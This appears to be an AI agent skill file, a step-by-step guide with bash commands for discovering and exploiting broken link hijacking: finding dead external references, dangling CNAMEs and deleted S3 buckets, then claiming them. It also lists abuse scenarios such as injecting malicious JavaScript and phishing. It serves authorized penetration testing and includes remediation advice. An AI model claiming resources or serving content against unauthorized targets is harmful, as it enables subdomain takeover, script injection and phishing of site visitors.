Anthropic-Cybersecurity-Skills/skills/exploiting-broken-link-hijacking/SKILL.md

---
name: exploiting-broken-link-hijacking
description: Discover and exploit broken link hijacking vulnerabilities by identifying references to expired domains, decommissioned cloud resources, and dead external services that can be claimed by an attacker.
domain: cybersecurity
subdomain: web-application-security
tags: [broken-link-hijacking, blh, subdomain-takeover, dead-link, expired-domain, supply-chain, external-resource]
version: "1.0"
author: mahipal
license: MIT
---

# Exploiting Broken Link Hijacking

## When to Use
- When auditing web applications for references to expired or unclaimed external resources
- During supply chain security assessments of third-party script and resource dependencies
- When testing for subdomain takeover opportunities via dangling CNAME records
- During bug bounty hunting for broken link hijacking vulnerabilities
- When assessing the security of external resource dependencies in production applications

## Prerequisites
- Web crawler or spider for discovering all external links (Burp Suite Spider, Scrapy)
- DNS lookup tools for checking CNAME records and domain availability
- Domain registrar access for claiming expired domains (as proof of concept)
- Understanding of CDN and cloud service provisioning (S3, Azure Blob, GitHub Pages)
- blc (broken-link-checker) or similar tool for automated link validation
- Knowledge of services vulnerable to subdomain takeover (can-i-take-over-xyz)

## Workflow

### Step 1 — Crawl and Extract All External References
```bash
# Use broken-link-checker to find dead links
npx broken-link-checker http://target.com --recursive --ordered \
  --exclude-internal --filter-level 3 -o broken_links.txt

# Extract all external links from page source
curl -s http://target.com | grep -oP 'https?://[^"'"'"'\s>]+' | sort -u > all_links.txt

# Extract JavaScript sources
curl -s http://target.com | grep -oP 'src="[^"]*"' | grep -v target.com > external_scripts.txt

# Extract CSS references
curl -s http://target.com | grep -oP 'href="[^"]*\.css"' | grep -v target.com > external_css.txt

# Use wayback machine for historical external references
curl -s "https://web.archive.org/web/timemap/link/http://target.com" | \
  grep -oP 'https?://[^>]+' | sort -u > historical_links.txt

# Spider with Burp Suite
# Configure Spider scope to include target.com
# Review Site Map > Filter by "External" to list all external references
```

### Step 2 — Identify Dead or Claimable Resources
```bash
# Check if external domains are registered
for domain in $(cat external_domains.txt); do
  whois $domain 2>/dev/null | grep -qi "no match\|not found\|available" && \
    echo "[CLAIMABLE] $domain"
done

# Check HTTP status of external links
while read url; do
  status=$(curl -o /dev/null -s -w "%{http_code}" "$url" --max-time 5)
  if [ "$status" = "000" ] || [ "$status" = "404" ]; then
    echo "[DEAD] $url (Status: $status)"
  fi
done < all_links.txt

# Check for dangling CNAME records
for sub in $(cat subdomains.txt); do
  cname=$(dig +short CNAME $sub)
  if [ -n "$cname" ]; then
    resolved=$(dig +short $cname)
    if [ -z "$resolved" ]; then
      echo "[DANGLING] $sub -> $cname (UNRESOLVED)"
    fi
  fi
done

# Check cloud resource availability
# AWS S3 bucket
aws s3 ls s3://target-assets 2>&1 | grep -q "NoSuchBucket" && echo "[CLAIMABLE] S3: target-assets"
```

### Step 3 — Check Service-Specific Takeover Possibilities
```bash
# Check GitHub Pages takeover
# If CNAME points to <user>.github.io and 404 is returned
curl -s https://subdomain.target.com | grep -q "There isn't a GitHub Pages site here"

# Check AWS S3 takeover
curl -s http://subdomain.target.com | grep -q "NoSuchBucket"

# Check Azure Blob Storage
curl -s http://subdomain.target.com | grep -q "The specified container does not exist"

# Check Heroku
curl -s http://subdomain.target.com | grep -q "No such app"

# Check Shopify
curl -s http://subdomain.target.com | grep -q "Sorry, this shop is currently unavailable"

# Use subjack for automated takeover detection
subjack -w subdomains.txt -c fingerprints.json -t 100 -o takeover_candidates.txt

# Use nuclei takeover templates
subfinder -d target.com -silent | nuclei -t http/takeovers/ -o takeovers.txt
```

### Step 4 — Verify External Script Hijacking
```bash
# Check if external JavaScript domains are available for registration
curl -s http://target.com | grep -oP 'src="https?://([^/"]+)' | \
  cut -d'/' -f3 | sort -u | while read domain; do
    whois "$domain" 2>/dev/null | grep -qi "no match\|available" && \
      echo "[HIJACKABLE SCRIPT] $domain loaded by target.com"
  done

# Check npm/CDN package references
curl -s http://target.com | grep -oP 'unpkg\.com/[^@/]+' | sort -u
curl -s http://target.com | grep -oP 'cdn\.jsdelivr\.net/npm/[^@/]+' | sort -u

# Verify if referenced packages still exist
# Check npm registry for deprecated or removed packages
```

### Step 5 — Exploit the Broken Link (Authorized Testing Only)
```bash
# For expired domain: Register the domain
# For S3 bucket: Create bucket with same name in same region
aws s3 mb s3://target-expired-bucket --region us-east-1

# For GitHub Pages: Create repository with matching name
# Create <org>.github.io repository with proof-of-concept content

# For unclaimed social media: Claim the handle
# Document the takeover with benign proof-of-concept content

# Serve proof-of-concept content
echo "<html><body><h1>Broken Link Hijacking PoC - [Your Name]</h1></body></html>" > index.html
# Upload to claimed resource
```

### Step 6 — Assess Impact and Report
```bash
# Determine impact based on resource type:
# - External JavaScript: Full XSS on all pages loading the script
# - External CSS: UI defacement, data exfiltration via CSS injection
# - External image/resource: Phishing, tracking
# - CNAME subdomain: Cookie theft, phishing, OAuth bypass

# Check if hijacked resource serves cookies for parent domain
# Check if hijacked subdomain is in OAuth redirect whitelist
# Verify if hijacked domain receives sensitive Referer headers
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Broken Link Hijacking | Claiming control of external resources referenced by target website |
| Dangling CNAME | DNS CNAME record pointing to unclaimed or decommissioned service |
| Subdomain Takeover | Claiming a subdomain by provisioning the service its CNAME points to |
| External Script Hijacking | Registering expired domains that serve JavaScript loaded by target |
| Supply Chain Attack | Compromising external dependencies to inject malicious content |
| Dead Link | URL reference returning 404 or DNS resolution failure |
| Resource Fingerprinting | Identifying specific cloud services from error messages and headers |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| broken-link-checker | Automated broken link discovery via web crawling |
| subjack | Subdomain takeover detection tool |
| nuclei | Template-based takeover detection scanner |
| can-i-take-over-xyz | Community database of services vulnerable to takeover |
| BadDNS | DNS auditing tool for detecting domain/subdomain takeovers |
| Wayback Machine | Historical URL analysis for discovering past external references |

## Common Scenarios

1. **JavaScript Supply Chain** — Register expired domain that serves JavaScript loaded by target; inject malicious code affecting all visitors
2. **S3 Bucket Takeover** — Claim deleted AWS S3 bucket referenced by target; serve malicious content or steal uploaded data
3. **GitHub Pages Hijack** — Create GitHub Pages repository matching dangling CNAME to serve phishing pages on target subdomain
4. **Social Media Impersonation** — Claim unclaimed social media handles linked from target website for brand impersonation
5. **CDN Package Hijack** — Claim deprecated npm packages referenced via CDN URLs to inject malicious JavaScript

## Output Format

```
## Broken Link Hijacking Report
- **Target**: http://target.com
- **Total External Links**: 145
- **Dead Links**: 12
- **Hijackable Resources**: 3

### Findings
| # | Resource | Type | Status | Impact |
|---|----------|------|--------|--------|
| 1 | analytics.expired-domain.com | JavaScript | Domain available | Full XSS |
| 2 | assets.target.com -> S3 bucket | Static assets | Bucket deleted | Content injection |
| 3 | blog.target.com -> GitHub Pages | Subdomain | No GitHub repo | Subdomain takeover |

### Remediation
- Remove references to decommissioned external resources
- Delete dangling CNAME records for unused subdomains
- Implement Subresource Integrity (SRI) for external scripts
- Regularly audit external dependencies for availability
- Use Content Security Policy to restrict allowed script sources
```